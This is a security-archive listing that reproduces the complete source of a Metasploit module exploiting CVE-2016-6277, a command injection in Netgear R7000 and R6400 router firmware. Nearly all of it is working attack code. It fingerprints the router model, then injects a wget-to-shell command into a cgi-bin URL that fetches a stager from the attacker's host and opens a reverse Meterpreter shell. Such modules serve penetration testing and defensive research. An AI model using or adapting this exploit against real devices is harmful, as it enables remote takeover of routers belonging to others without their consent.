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Netgear R7000 / R6400 cgi-bin Command Injection

Netgear R7000 / R6400 cgi-bin Command Injection
Posted Mar 12, 2017
Authored by Acew0rm, thecarterb | Site metasploit.com

This Metasploit module exploits an arbitrary command injection vulnerability in Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.

tags | exploit, arbitrary
advisories | CVE-2016-6277
SHA-256 | ae5f2b77fafd424ea3910ea75b0ae247dd68b625fdc6ab653347ced2ebc95424

Netgear R7000 / R6400 cgi-bin Command Injection

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
'Description' => %q{
This module exploits an arbitrary command injection vulnerability in
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
},
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Author' => ['thecarterb', 'Acew0rm'],
'DefaultTarget' => 0,
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'Targets' => [
[ 'Automatic Target', { } ]
],
'References' =>
[
[ 'EDB', '40889'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
[ 'CVE', '2016-6277']
],
'DisclosureDate' => 'Dec 06 2016',
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
}
))

register_options(
[
Opt::RPORT(80)
], self.class)

deregister_options('URIPATH')
end

def scrape(text, start_trig, end_trig)
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
end

# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = scrape(data, marker_one, marker_two)
vprint_status("Router is a NETGEAR router (#{model})")
if model == 'R7000' || model == 'R6400'
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end

def exploit
return if check == CheckCode::Safe

@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')

send_request_cgi(
'method' => 'GET',
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
)
end

# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
send_response(cli, @cmdstager)
@cmdstager = nil
else
super
end
end

end
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